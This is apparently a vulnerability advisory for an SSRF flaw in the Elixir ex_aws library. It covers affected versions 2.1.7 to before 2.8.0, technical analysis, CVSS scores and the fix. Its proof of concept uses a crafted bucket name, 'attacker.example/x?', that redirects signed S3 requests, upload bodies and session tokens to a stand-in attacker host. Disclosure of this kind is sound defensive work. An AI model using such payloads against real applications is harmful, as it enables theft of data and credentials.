Am I affected?

type your ex_aws version to check

Description

Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.

With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.

This issue affects ex_aws: from 2.1.7 before 2.8.0.

Technical analysis

1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes "#{bucket}.#{host}". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.

2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney's parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.

3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.

Proof of concept

  1. Configure ex_aws for S3 with virtual_host: true.
  2. Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object("attacker.example/x?", "report.pdf", body).
  3. add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.
  4. ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.
  5. Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example.

Weaknesses & attack patterns

Weakness

CWE-918 · Server-Side Request Forgery in catalog → MITRE ↗

Attack patterns

CAPEC-664 · Server Side Request Forgery MITRE ↗

An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.

Affected — Hex / ex_aws Hex.pm ↗ Repository ↗

≥ 2.1.7 < 2.8.0 affected
every other version: unaffected
cpe cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
version type semver
modules · source files · routines
modules 'Elixir.ExAws.Operation.S3'
source files lib/ex_aws/operation/s3.ex
routines 'Elixir.ExAws.Operation.S3':add_bucket_to_path/2

Affected — GitHub / ex-aws/ex_aws Repository ↗

≥ 557d343 < a878943 affected
every other version: unaffected
cpe cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*
version type git
modules · source files · routines
modules 'Elixir.ExAws.Operation.S3'
source files lib/ex_aws/operation/s3.ex
routines 'Elixir.ExAws.Operation.S3':add_bucket_to_path/2

Configurations

Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.

Solutions

Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames.

References

Credits

Peter Ullrich Finder Reporter Coordinator
Jonatan Männchen / EEF Analyst
Bernard Duggan Remediation developer

CVSS breakdown

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Exploitability

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None

Vulnerable System

Confidentiality
High
Integrity
Low
Availability
None

Subsequent Systems

Confidentiality
None
Integrity
None
Availability
None
« All CVEs